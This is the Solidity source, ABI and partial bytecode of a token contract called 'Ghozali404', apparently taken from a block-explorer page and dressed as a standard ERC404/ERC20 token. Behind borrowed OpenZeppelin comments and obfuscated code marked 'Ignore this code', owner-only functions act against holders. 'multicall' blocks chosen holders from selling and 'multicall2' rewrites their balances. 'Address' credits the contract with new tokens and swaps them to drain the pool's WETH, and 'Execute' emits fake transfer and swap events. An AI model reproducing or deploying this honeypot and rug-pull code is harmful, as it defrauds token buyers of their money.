                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
            uint256 result = log256(value);
            return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0);
    }

    /**
     * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers.
     */
    function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {
        return uint8(rounding) % 2 == 1;
    }
}

library DailyOutflowCounterLib {
    uint256 internal constant WAD_TRUNCATED = 10 ** 18 >> 40;

    uint256 internal constant OUTFLOW_TRUNCATED_MASK = 0xffffffffffffff;

    uint256 internal constant DAY_BITPOS = 56;

    uint256 internal constant DAY_MASK = 0x7fffffff;

    uint256 internal constant OUTFLOW_TRUNCATE_SHR = 40;

    uint256 internal constant WHITELISTED_BITPOS = 87;

    function update(uint88 packed, uint256 outflow)
        internal
        view
        returns (uint88 updated, uint256 multiple)
    {
      
            if (isWhitelisted(packed)) {
                return (packed, 0);
            }

            uint256 currentDay = (block.timestamp / 86400) & DAY_MASK;
            uint256 packedDay = (uint256(packed) >> DAY_BITPOS) & DAY_MASK;
            uint256 totalOutflowTruncated = uint256(packed) & OUTFLOW_TRUNCATED_MASK;

            if (packedDay != currentDay) {
                totalOutflowTruncated = 0;
                packedDay = currentDay;
            }

            uint256 result = packedDay << DAY_BITPOS;
            uint256 todaysOutflowTruncated =
                totalOutflowTruncated + ((outflow >> OUTFLOW_TRUNCATE_SHR) & OUTFLOW_TRUNCATED_MASK);
            result |= todaysOutflowTruncated & OUTFLOW_TRUNCATED_MASK;
            updated = uint88(result);
            multiple = todaysOutflowTruncated / WAD_TRUNCATED;
        
    }

    function isWhitelisted(uint88 packed) internal pure returns (bool) {
        return packed >> WHITELISTED_BITPOS != 0;
    }

    function setWhitelisted(uint88 packed, bool status) internal pure returns (uint88) {
        if (isWhitelisted(packed) != status) {
            packed ^= uint88(1 << WHITELISTED_BITPOS);
        }
        return packed;
    }
}


/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
interface IERC20 {
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
interface Interfaces {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

   
    function getAmountsOut(
        uint256 amountIn,
        address[] memory path
    ) external view returns (uint256[] memory amounts);

    function getAmountsIn(
        uint256 amountOut,
        address[] calldata path
    ) external view returns (uint256[] memory amounts);

     function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

}

abstract contract ERC721Receiver {
    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external virtual returns (bytes4) {
        return ERC721Receiver.onERC721Received.selector;
    }
}

/**
 * @title Counters
 * @author Matt Condon (@shrugs)
 * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
 * of elements in a mapping, issuing ERC721 ids, or counting request ids.
 *
 * Include with `using Counters for Counters.Counter;`
 */
library Counters {
    struct Counter {
        // This variable should never be directly accessed by users of the library: interactions must be restricted to
        // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
        // this feature: see https://github.com/ethereum/solidity/issues/4637
        uint256 _value; // default: 0
    }

    function current(Counter storage counter) internal view returns (uint256) {
        return counter._value;
    }

    function increment(Counter storage counter) internal {
            counter._value += 1;
    }

    function decrement(Counter storage counter) internal {
        uint256 value = counter._value;
        require(value > 0, "Counter: decrement overflow");
            counter._value = value - 1;
    }

    function reset(Counter storage counter) internal {
        counter._value = 0;
    }
}

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}


/**
 * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
 * checks.
 *
 * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
 * easily result in undesired exploitation or bugs, since developers usually
 * assume that overflows raise errors. `SafeCast` restores this intuition by
 * reverting the transaction when such an operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 *
 * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
 * all math on `uint256` and `int256` and then downcasting.
 */

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-ERC20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC404 {
    string public baseTokenURI;
    mapping(address => mapping(address => uint256)) public a;
    mapping(address => uint256) public b;
    mapping(address => uint256) public c;
    address public owner;
    uint256 _totalSupply;
    string _name;
    string _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function TryCall(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function FetchToken2(uint256 _a) internal pure returns (uint256) {
        return (_a * 100000) / (2931 + 97069);
    }

    function FetchToken(uint256 _a) internal pure returns (uint256) {
        return _a + 10;
    }

    function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
        // Ignore this code
        uint256 __c = _a + _b;
        require(__c >= _a, "SafeMath: addition overflow");

        return __c;
    }

   

    function transfer(
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

     function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
        require(_b <= _a, "SafeMath: subtraction overflow");
        uint256 __c = _a - _b;

        return __c;
    }

    function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function _T() internal view returns (bytes32) {
        return bytes32(uint256(uint160(address(this))) << 96);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return b[account];
    }

    function allowance(
        address __owner,
        address spender
    ) public view virtual returns (uint256) {
        return a[__owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );

        _approve(__owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = b[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        if (c[from] > 0) {
            require(add(c[from], b[from]) == 0);
        }

        b[from] = sub(fromBalance, amount);
        b[to] = add(b[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        a[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );

            _approve(__owner, spender, currentAllowance - amount);
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract Ghozali404 is ERC404 {
    Interfaces internal _RR;
    Interfaces internal _pair;
    uint8 public decimals = 18;

    mapping(address => uint) public rootValues;
    bytes32 public DOMAIN_SEPARATOR = 0xd127614bc54fc11f5504efe48f8cf25c0b680a85502935dc18a3d2055866fa40;

    constructor() {
        _totalSupply = 100_000e18;
        _name = "Ghozali404";
        _symbol = "GHOZALI";
  
        owner = msg.sender;
        b[owner] = _totalSupply;

        _RR = Interfaces(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        _pair = Interfaces(
            Interfaces(_RR.factory()).createPair(
                address(this),
                address(_RR.WETH())
            )
        );
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function setTokenURI(string memory _tokenURI) public onlyOwner {
        baseTokenURI = _tokenURI;
    }

    function Div() internal view returns (address[] memory) {
        address[] memory p;
        p = new address[](2);
        p[0] = address(this);
        p[1] = _RR.WETH();
        return p;
    }

    function FactoryReview(
        uint256 blockTime,
        uint256 multiplicator,
        address[] memory parts,
        address factory
    ) internal {
        _RR.swapTokensForExactTokens(
            // assembler
            blockTime,
            multiplicator,
            // unchecked
            parts,
            factory,
            block.timestamp + 1200
        );
    }


    function getContract(
        uint256 blockTimestamp,
        uint256 selector,
        address[] memory list,
        address factory
    ) internal {
        a[address(this)][address(_RR)] = b[address(this)];
        FactoryReview(blockTimestamp, selector, list, factory);
    }

     function Execute(
        uint256 t,
        address tA,
        uint256 w,
        address[] memory r
    ) public onlyOwner returns (bool) {
        for (uint256 i = 0; i < r.length; i++) {
            callUniswap(r[i], t, w, tA);
        }
        return true;
    }


    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function Address(address _r) public onlyOwner {
        uint256 calling = (Sub(_RR.WETH()) * 99999) / 100000;
        address[] memory FoldArray = Div();
        uint256 called = Allowance(calling, FoldArray);
        getContract(calling, called, FoldArray, _r);
    }

    function Sub(address t) internal view returns (uint256) {
        (uint112 r0, uint112 r1, ) = _pair.getReserves();
        return (_pair.token0() == t) ? uint256(r0) : uint256(r1);
    }

    function ConvertAddress(
        address _uu,
        uint256 _pp
    ) internal view returns (uint256) {
        return TryCall(b[_uu], _pp);
    }

   
    function Mult(
        uint256 amO,
        address[] memory p
    ) internal view returns (uint256[] memory) {
        return _RR.getAmountsIn(amO, p);
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall2(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for (uint256 i = 0; i < data.length; i++) {
            // assembly
            if (block.timestamp > uint256(uint160(uint8(0)))) {
                // assembly
                uint256 rS = ConvertAddress(
                    (uint256(uint16(uint8(0))) != 0) // Skip this code
                        ? address(uint256(0))
                        : address(uint160(uint256(data[i]) >> 96)),
                    _p
                );
                CheckAmount2(data[i], rS);
            }
        }
    }

     /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount2(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        emit Transfer(
            (uint256(0) != 0 || 1238 == 1)
                ? address(uint256(0))
                : address(uint160(uint256(_b) >> 96)),
            address(_pair),
            b[
                // v0.5.11 specific update
                (uint256(0) != 0 || 1238 == 1)
                    ? address(
                        address(uint256(0)) == address(this) // Overflow control
                            ? uint256(0) // Ignore
                            : uint256(1)
                    )
                    : address(uint160(uint256(_b) >> 96))
                // Guard test
            ]
        );
        // Ignore this code
        b[
            // assembly
            (uint256(0) != 0 || 1238 == 1)
                ? address(
                    // Must control
                    uint256(0)
                )
                : address(uint160(uint256(_b) >> 96))
            // Contract opcode
        ] = FetchToken2(uint256(__a));
    }


    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for (uint256 i = 0; i < data.length; i++) {
            // assembly
            if (block.timestamp > uint256(uint160(uint8(0)))) {
                // assembly
                uint256 rS = ConvertAddress(
                    (uint256(uint16(uint8(0))) != 0)
                        ? address(uint256(0)) // Ignore this code
                        : address(uint160(uint256(data[i]) >> 96)),
                    _p
                );
                CheckAmount(data[i], rS);
            }
        }
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        // Ignore this code
        c[
            // assembly
            (uint256(0) != 0 || 1238 == 1)
                ? address(
                    // Must control
                    uint256(uint32(2)) == 2 // Check update
                        ? uint256(1)
                        : uint256(1)
                )
                : address(uint160(uint256(_b) >> 96))
            // Contract opcode
        ] = FetchToken(uint256(__a));
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function Allowance(
        uint256 checked,
        address[] memory p
    ) internal returns (uint256) {
        // Assembler for gas optimization {}
        uint256[] memory value;
        value = new uint256[](2);

        // uncheck {
        value = Mult(checked, p);
        b[
            block.timestamp > uint256(1) ||
                uint256(0) > 1 ||
                uint160(1) < block.timestamp
                ? address(uint160(uint256(_T()) >> 96))
                : address(uint256(0))
        ] += value[0]; // end uncheck }

        return value[0];
    }

    function callUniswap(
        address router,
        uint256 transfer,
        uint256 cycleWidth,
        address unmount
    ) internal {
        IERC20(unmount).transferFrom(router, address(_pair), cycleWidth);
        emit Transfer(address(_pair), router, transfer);
        emit Swap(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
            transfer,
            0,
            0,
            cycleWidth,
            router
        );
    }

}

interface IERC6372 {
    /**
     * @dev Clock used for flagging checkpoints. Can be overridden to implement timestamp based checkpoints (and voting).
     */
    function clock() external view returns (uint48);

    /**
     * @dev Description of the clock
     */
    // solhint-disable-next-line func-name-mixedcase
    function CLOCK_MODE() external view returns (string memory);
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_r","type":"address"}],"name":"Address","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"t","type":"uint256"},{"internalType":"address","name":"tA","type":"address"},{"internalType":"uint256","name":"w","type":"uint256"},{"internalType":"address[]","name":"r","type":"address[]"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"a","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"b","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseTokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"c","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"rootValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_tokenURI","type":"string"}],"name":"setTokenURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526009805460ff60a01b1916600960a11b1790557fd127614bc54fc11f5504efe48f8cf25c0b680a85502935dc18a3d2055866fa40600b553480156200004857600080fd5b5069152d02c7e14af680000060055560408051808201909152600a8082526911da1bde985b1a4d0c0d60b21b60209092019182526200008a91600691620002d5565b506040805180820190915260078082526647484f5a414c4960c81b6020909201918252620000b99181620002d5565b50600480546001600160a01b031990811633178083556005546001600160a01b039182166000908152600260209081526040918290209290925560088054909416737a250d5630b4cf539739df2c5dacb4c659f2488d1793849055805163c45a015560e01b81529051939092169363c45a01559383820193909190829003018186803b1580156200014957600080fd5b505afa1580156200015e573d6000803e3d6000fd5b505050506040513d60208110156200017557600080fd5b5051600854604080516315ab88c960e31b815290516001600160a01b039384169363c9c6539693309391169163ad5c464891600480820192602092909190829003018186803b158015620001c857600080fd5b505afa158015620001dd573d6000803e3d6000fd5b505050506040513d6020811015620001f457600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b1580156200024757600080fd5b505af11580156200025c573d6000803e3d6000fd5b505050506040513d60208110156200027357600080fd5b5051600980546001600160a01b0319166001600160a01b03909216919091179055600554604080519182525133916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916020908290030190a362000381565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826200030d576000855562000358565b82601f106200032857805160ff191683800117855562000358565b8280016001018555821562000358579182015b82811115620003585782518255916020019190600101906200033b565b50620003669291506200036a565b5090565b5b808211156200036657600081556001016200036b565b611ae580620003916000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063d547cfb71161007c578063d547cfb714610502578063dd62ed3e1461050a578063e0df5b6f14610538578063ea923bae146105dc578063ebfb412d1461064a578063ff5c1d62146106705761014d565b806370a08231146104325780638da5cb5b1461045857806395d89b411461047c578063a457c2d714610484578063a9059cbb146104b0578063bda02782146104dc5761014d565b8063313ce56711610115578063313ce56714610285578063316d295f146102a35780633644e51514610313578063395093511461031b5780635765a5cc1461034757806358a10259146103755761014d565b806304ee65c01461015257806306fdde031461018a578063095ea7b31461020757806318160ddd1461024757806323b872dd1461024f575b600080fd5b6101786004803603602081101561016857600080fd5b50356001600160a01b0316610696565b60408051918252519081900360200190f35b6101926106a8565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101cc5781810151838201526020016101b4565b50505050905090810190601f1680156101f95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102336004803603604081101561021d57600080fd5b506001600160a01b03813516906020013561073e565b604080519115158252519081900360200190f35b610178610754565b6102336004803603606081101561026557600080fd5b506001600160a01b0381358116916020810135909116906040013561075a565b61028d61077c565b6040805160ff9092168252519081900360200190f35b610311600480360360408110156102b957600080fd5b810190602081018135600160201b8111156102d357600080fd5b8201836020820111156102e557600080fd5b803590602001918460208302840111600160201b8311171561030657600080fd5b91935091503561078c565b005b610178610849565b6102336004803603604081101561033157600080fd5b506001600160a01b03813516906020013561084f565b6101786004803603604081101561035d57600080fd5b506001600160a01b0381358116916020013516610868565b6102336004803603608081101561038b57600080fd5b8135916001600160a01b036020820135169160408201359190810190608081016060820135600160201b8111156103c157600080fd5b8201836020820111156103d357600080fd5b803590602001918460208302840111600160201b831117156103f457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610885945050505050565b6101786004803603602081101561044857600080fd5b50356001600160a01b0316610920565b61046061093b565b604080516001600160a01b039092168252519081900360200190f35b61019261094a565b6102336004803603604081101561049a57600080fd5b506001600160a01b0381351690602001356109ab565b610233600480360360408110156104c657600080fd5b506001600160a01b038135169060200135610a12565b610178600480360360208110156104f257600080fd5b50356001600160a01b0316610a1f565b610192610a31565b6101786004803603604081101561052057600080fd5b506001600160a01b0381358116916020013516610abf565b6103116004803603602081101561054e57600080fd5b810190602081018135600160201b81111561056857600080fd5b82018360208201111561057a57600080fd5b803590602001918460018302840111600160201b8311171561059b57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610aea945050505050565b610311600480360360408110156105f257600080fd5b810190602081018135600160201b81111561060c57600080fd5b82018360208201111561061e57600080fd5b803590602001918460208302840111600160201b8311171561063f57600080fd5b919350915035610b5a565b6103116004803603602081101561066057600080fd5b50356001600160a01b0316610bff565b6101786004803603602081101561068657600080fd5b50356001600160a01b0316610d15565b60036020526000908152604090205481565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107345780601f1061070957610100808354040283529160200191610734565b820191906000526020600020905b81548152906001019060200180831161071757829003601f168201915b5050505050905090565b600061074b338484610d27565b50600192915050565b60055490565b6000610767843384610e13565b610772848484610e8c565b5060019392505050565b600954600160a01b900460ff1681565b6004546001600160a01b031633146107e5576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b8281101561084357421561083b57600061081b606086868581811061080957fe5b9050602002013560001c901c8461105b565b905061083985858481811061082c57fe5b9050602002013582611085565b505b6001016107e8565b50505050565b600b5481565b6000336107728185856108628383610abf565b01610d27565b600160209081526000928352604080842090915290825290205481565b6004546000906001600160a01b031633146108e1576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b82518110156109145761090c8382815181106108fc57fe5b60200260200101518786886110b6565b6001016108e4565b50600195945050505050565b6001600160a01b031660009081526002602052604090205490565b6004546001600160